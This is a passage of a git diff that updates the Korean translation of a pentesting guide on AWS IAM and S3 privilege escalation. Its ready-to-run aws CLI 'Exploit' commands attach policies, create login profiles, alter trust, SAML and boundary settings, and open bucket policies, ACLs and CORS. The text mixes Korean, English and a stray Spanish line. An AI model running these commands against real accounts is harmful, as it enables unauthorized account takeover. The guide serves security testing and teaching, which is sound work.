사용자의 확장된 권한을 가정하여 직접적인 권한 상승을 초래합니다. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -로그인 프로필을 생성하거나 업데이트할 수 있게 하며(예: AWS 콘솔 로그인용 비밀번호 설정 포함), 이는 직접적인 권한 상승으로 이어집니다. +로그인 프로필을 생성하거나 업데이트(예: AWS 콘솔 로그인용 비밀번호 설정)할 수 있도록 허용하여 직접적인 권한 상승으로 이어집니다. -**Exploit for Creation:** +**생성용 Exploit:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**업데이트를 위한 Exploit:** +**Exploit 업데이트용:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impact:** "any" 사용자로 로그인하여 직접 권한 상승. +**영향:** "any" 사용자로 로그인함으로써 직접적인 권한 상승이 발생할 수 있습니다. ### **`iam:UpdateAccessKey`** -사용 중지된 access key를 활성화할 수 있으며, 공격자가 해당 access key를 보유하고 있다면 무단 접근으로 이어질 수 있습니다. +비활성화된 access key를 활성화할 수 있어, attacker가 이를 보유하고 있다면 무단 접근으로 이어질 수 있습니다. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승을 초래함. +**Impact:** 액세스 키를 재활성화하여 직접적인 권한 상승을 초래함. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있게 하며, 해당 자격 증명은 연관된 사용자의 권한을 상속합니다. +특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있게 하며, 해당 사용자의 권한을 상속함. **Exploit for Creation:** ```bash @@ -79,31 +79,31 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**영향:** 사용자의 서비스 권한 범위 내에서 직접적인 권한 상승. +**영향:** 사용자의 서비스 권한 내에서의 직접적인 privilege escalation. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -사용자나 그룹에 정책을 연결할 수 있게 하며, 연결된 정책의 권한을 상속받아 직접적으로 권한이 상승합니다. +사용자 또는 그룹에 정책을 연결할 수 있도록 허용하며, 연결된 정책의 권한을 상속받아 직접적인 privilege escalation을 발생시킵니다. -**Exploit (사용자용):** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit 그룹용:** +**그룹용 Exploit:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**영향:** 정책이 부여하는 모든 대상에 대한 직접적인 권한 상승. +**영향:** 해당 정책이 부여하는 모든 항목에 대한 직접적인 권한 상승. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있도록 허용하여 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다. +역할, 사용자 또는 그룹에 정책을 연결하거나 적용할 수 있도록 허용하여, 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다. -**Exploit for Role:** +**Role에 대한 Exploit:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Inline Policies용 Exploit:** +**Exploit for Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**영향:** 정책을 통해 권한을 추가하여 직접적인 권한 상승. +**Impact:** 정책을 통해 권한을 추가하여 직접적인 권한 상승. ### **`iam:AddUserToGroup`** -자신을 IAM 그룹에 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한이 상승합니다. +자신을 IAM 그룹에 추가할 수 있어, 그룹의 권한을 상속받아 권한을 상승시킵니다. -**악용:** +**Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**영향:** 직접적인 privilege escalation을 통해 그룹의 권한 수준으로 상승합니다. +**영향:** 그룹의 권한 수준으로 직접 권한 상승. ### **`iam:UpdateAssumeRolePolicy`** -해당 권한은 역할의 assume role policy 문서를 변경할 수 있게 하여, 해당 역할과 연관된 권한을 가정(assume)할 수 있도록 합니다. +역할의 assume role policy 문서를 변경할 수 있게 허용하여, 해당 역할과 그에 연관된 권한을 획득(assume)할 수 있게 한다. -**Exploit:** +**악용:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -정책이 다음과 같아 사용자가 역할을 맡도록 허용하는 경우: +정책이 아래와 같이 되어 있어 사용자가 해당 역할을 assume할 수 있는 권한을 부여하는 경우: ```json { "Version": "2012-10-17", @@ -163,13 +163,13 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**Impact:** 역할의 권한을 가정하여 직접적인 권한 상승. +**영향:** 임의의 역할 권한을 가정하여 직접적인 권한 상승이 가능합니다. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -SSH 공개 키를 업로드하여 CodeCommit에 인증하거나 MFA 디바이스를 비활성화할 수 있게 하며, 잠재적인 간접 권한 상승으로 이어질 수 있습니다. +CodeCommit 인증용 SSH 공개키 업로드와 MFA 장치 비활성화를 허용하여 간접적인 권한 상승으로 이어질 수 있습니다. -**SSH 키 업로드를 위한 Exploit:** +**Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` @@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**영향:** CodeCommit 접근을 허용하거나 MFA 보호를 비활성화함으로써 발생할 수 있는 간접적인 privilege escalation. +**영향:** 간접적인 privilege escalation: CodeCommit 접근을 허용하거나 MFA 보호를 비활성화함으로써 발생할 수 있음. ### **`iam:ResyncMFADevice`** -MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있습니다. +MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있음. -**Bash Command:** +**Bash 명령:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** MFA 디바이스를 추가하거나 조작함으로써 간접적인 권한 상승. +**Impact:** MFA devices를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -이 권한이 있으면 **change the XML metadata of the SAML connection**. 그 후 **SAML federation**을 악용해 이를 신뢰하는 임의의 **role that is trusting**로 **login**할 수 있습니다. +이 권한들이 있으면 **SAML connection의 XML metadata를 변경할 수 있습니다**. 그런 다음 **SAML federation을** 악용하여 이를 신뢰하는 **임의의 role**로 **login**할 수 있습니다. -주의: 이렇게 하면 **legit users won't be able to login**. 하지만 XML을 얻을 수 있으므로 자신의 것으로 교체하고 **login**한 뒤 이전 상태로 다시 구성할 수 있습니다. +Note that doing this **정상 사용자는 더 이상 로그인할 수 없습니다**. 하지만 XML을 획득해 자신의 것으로 교체한 뒤 **login**하여 이전 상태로 다시 구성할 수 있습니다. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: SAML metadata를 생성하고 지정된 role로 로그인할 수 있는 도구 +> TODO: 지정된 role로 로그인할 수 있는 SAML 메타데이터를 생성하는 도구 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(확실하지 않음) 공격자가 이러한 **권한**을 가지고 있으면 새 **Thumbprint**를 추가하여 해당 provider를 신뢰하는 모든 role로 로그인할 수 있다. +(확실하지 않음) 만약 attacker가 이러한 **permissions**를 가지고 있다면, provider를 신뢰하는 모든 roles에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -이 권한은 공격자가 사용자의 권한 경계(permissions boundary)를 업데이트할 수 있게 하여, 기존 권한으로는 제한된 작업을 수행할 수 있도록 허용함으로써 권한을 상승시킬 수 있습니다. +이 권한은 공격자가 사용자의 권한 경계를 업데이트할 수 있게 하며, 이를 통해 기존 권한으로는 제한된 작업을 수행할 수 있도록 권한을 승격시킬 수 있습니다. +```bash +aws iam put-user-permissions-boundary \ +--user-name \ +--permissions-boundary arn:aws:iam:::policy/ +Un ejemplo de una política que no aplica ninguna restricción es: + + +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BoundaryAllowAll", +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +} +``` +### `iam:PutRolePermissionsBoundary` + +iam:PutRolePermissionsBoundary 권한을 가진 주체는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사람이 역할의 경계를 변경할 때 위험이 발생합니다: 작업을 부적절하게 제한하여 서비스 중단을 초래할 수 있고, 또는 관대한(permissive) 권한 경계를 부착하면 해당 역할이 수행할 수 있는 작업을 사실상 확장하여 권한 상승을 일으킬 수 있습니다. +```bash +aws iam put-role-permissions-boundary \ +--role-name \ +--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy +``` ## 참고자료 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index e4b927f12..97d9b9129 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -해당 권한을 흥미로운 버킷들에 대해 가진 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다. +해당 권한을 흥미로운 버킷에 가지고 있는 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다. -예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"이라는 **cloudformation 버킷에 대한 권한**을 가진 공격자는 배포를 탈취할 수 있습니다. 접근 권한은 다음 정책으로 부여될 수 있습니다: +For example, an attacker with those **cloudformation 버킷에 대한 권한** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: ```json { "Version": "2012-10-17", @@ -34,30 +34,30 @@ ] } ``` -그리고 하이재킹은 템플릿이 버킷에 업로드되는 순간부터 템플릿이 배포되는 순간까지의 **짧은 시간 윈도우**가 있기 때문에 가능합니다. 공격자는 자신의 계정에 **lambda function**을 생성해 버킷 알림이 전송될 때 **트리거**되게 하고, 해당 **버킷**의 **content**를 **hijacks**할 수도 있습니다. +그리고 hijack는 template가 bucket에 업로드된 순간부터 template가 배포되는 순간까지 **작은 시간 창(small time window)**이 있기 때문에 가능합니다. 공격자는 자신의 계정에 bucket notification이 전송될 때 **trigger** 되는 **lambda function**을 만들어 그 **bucket**의 **content**를 hijack할 수 있습니다. ![](<../../../images/image (174).png>) -Pacu 모듈 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection)은 이 공격을 자동화하는 데 사용할 수 있습니다.\ +The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ 자세한 정보는 원본 연구를 확인하세요: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -이 권한들은 **S3에서 객체를 가져오고 업로드하는** 권한입니다. AWS 내부(및 외부)의 여러 서비스가 **config files**를 저장하기 위해 S3 스토리지를 사용합니다.\ -공격자가 이에 대한 **read access**를 갖고 있다면 민감한 정보를 찾을 수 있습니다.\ -공격자가 이에 대한 **write access**를 갖고 있다면 **데이터를 변경하여 일부 서비스를 악용하고 권한을 상승시킬 수 있습니다**.\ -몇 가지 예는 다음과 같습니다: +이 권한들은 **S3에 객체를 업로드하고 가져오는(get and upload objects to S3)** 권한입니다. AWS 내부(및 외부)의 여러 서비스는 **config files**를 저장하기 위해 S3 storage를 사용합니다.\ +공격자가 해당 파일들에 대해 **read access**를 가지면 그 안에서 **민감한 정보(sensitive information)**를 찾을 수 있습니다.\ +공격자가 **write access**를 가지면 데이터를 수정해 어떤 서비스를 악용하거나 **권한 상승(escalate privileges)**을 시도할 수 있습니다.\ +예시는 다음과 같습니다: -- 만약 EC2 인스턴스가 **user data를 S3 버킷에 저장**하고 있다면, 공격자는 이를 수정해 EC2 인스턴스 내부에서 **execute arbitrary code**를 수행하게 할 수 있습니다. +- 만약 EC2 인스턴스가 **user data를 S3 bucket에 저장**하고 있다면, 공격자는 이를 수정해 **EC2 인스턴스 내부에서 임의의 코드를 실행(execute arbitrary code)**할 수 있습니다. ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state 파일들이 클라우드 제공자의 blob 스토리지(예: AWS S3)에 저장되는 경우가 매우 흔합니다. state 파일의 확장자는 `.tfstate`이고, 버킷 이름에서도 terraform state 파일을 담고 있다는 점을 쉽게 유추할 수 있습니다. 보통 모든 AWS 계정에는 계정 상태를 보여주는 state 파일을 저장하는 이런 버킷이 하나씩 있습니다. -또한 현실의 계정에서는 거의 항상 모든 개발자가 `s3:*` 권한을 가지고 있고, 때로는 비즈니스 사용자도 `s3:Put*` 권한을 가지고 있는 경우가 많습니다. +[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state 파일들이 클라우드 제공자의 blob storage(예: AWS S3)에 저장되는 경우가 매우 흔합니다. state 파일의 확장자는 `.tfstate`이고, 버킷 이름만으로도 terraform state 파일을 저장하고 있음을 알 수 있는 경우가 많습니다. 보통 각 AWS 계정에는 계정의 상태를 보여주는 state 파일을 저장하기 위한 버킷이 하나씩 있습니다. +또한 실제 환경에서는 거의 항상 모든 개발자가 `s3:*` 권한을 가지고 있고, 때로는 비즈니스 사용자도 `s3:Put*` 권한을 가지는 경우가 있습니다. -따라서 이러한 파일들에 대해 위에 나열된 권한을 가지고 있다면, `terraform`의 권한(대부분의 경우 `AdministratorAccess`)으로 파이프라인에서 RCE를 획득할 수 있는 공격 벡터가 존재합니다. 또한 이 벡터를 이용해 `terraform`이 정상 리소스를 삭제하게 하여 denial of service attack을 수행할 수도 있습니다. +따라서 이런 파일들에 대해 위 권한을 가지고 있다면, `terraform` 권한으로 파이프라인에서 RCE를 획득할 수 있는 공격 벡터가 존재합니다 — 대부분의 경우 `AdministratorAccess` 권한을 가지게 되어 클라우드 계정의 관리자가 됩니다. 또한 해당 벡터를 이용해 `terraform`이 정상 리소스를 삭제하게 만들어 서비스 거부(DoS) 공격을 할 수도 있습니다. -직접 사용 가능한 익스플로잇 코드는 *Terraform Security* 페이지의 *Abusing Terraform State Files* 섹션 설명을 따르세요: +직접 사용할 수 있는 익스플로잇 코드는 *Terraform Security* 페이지의 *Abusing Terraform State Files* 섹션 설명을 따르세요: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -65,7 +65,7 @@ Pacu 모듈 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu ### `s3:PutBucketPolicy` -공격자는 **같은 계정에서 온 사용자여야** 합니다(그렇지 않으면 `The specified method is not allowed will trigger` 오류가 발생합니다). 이 권한을 통해 해당 버킷들에 대해 더 많은 권한을 자기 자신에게 부여할 수 있으며, 결과적으로 읽기, 쓰기, 수정, 삭제 및 버킷 노출 등이 가능해집니다. +같은 계정(from the same account)에 있어야 하는 공격자는, 그렇지 않으면 `The specified method is not allowed will trigger` 오류가 발생하지만, 이 권한으로 자신에게 해당 버킷들에 대해 더 많은 권한을 부여할 수 있어 읽기, 쓰기, 수정, 삭제 및 버킷 노출이 가능해집니다. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -공격자는 이러한 권한을 악용해 특정 버킷 내 객체에 대한 접근 권한을 자신에게 더 부여할 수 있다. +공격자는 이러한 권한을 악용해 버킷 내 특정 객체에 대한 접근 권한을 자신에게 더 부여할 수 있습니다. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -178,9 +178,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -이 권한을 가진 공격자는 특정 객체 버전에 Acl을 설정할 수 있어야 한다. +이 권한을 가진 공격자는 특정 객체 버전에 Acl을 적용할 수 있는 것으로 예상됩니다. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` +### `s3:PutBucketCORS` + +이 권한을 가진 공격자는 버킷의 CORS (Cross-Origin Resource Sharing) 구성을 수정할 수 있으며, 이는 어떤 웹 도메인이 해당 엔드포인트에 접근할 수 있는지를 제어합니다. 만약 허용적인 정책을 설정하면, 어떤 웹사이트든 버킷에 직접 요청을 보내고 브라우저에서 응답을 읽을 수 있게 됩니다. + +즉, 잠재적으로 버킷에서 호스팅되는 웹 앱에 인증된 사용자가 공격자의 웹사이트를 방문하면, 공격자는 허용적인 CORS 정책을 악용하여 애플리케이션에 따라 사용자의 프로필 데이터에 접근하거나 심지어 사용자의 계정을 탈취할 수 있습니다. +```bash +aws s3api put-bucket-cors \ +--bucket \ +--cors-configuration '{ +"CORSRules": [ +{ +"AllowedOrigins": ["*"], +"AllowedMethods": ["GET", "PUT", "POST"], +"AllowedHeaders": ["*"], +"ExposeHeaders": ["x-amz-request-id"], +"MaxAgeSeconds": 3000 +} +] +}' +``` {{#include ../../../../banners/hacktricks-training.md}}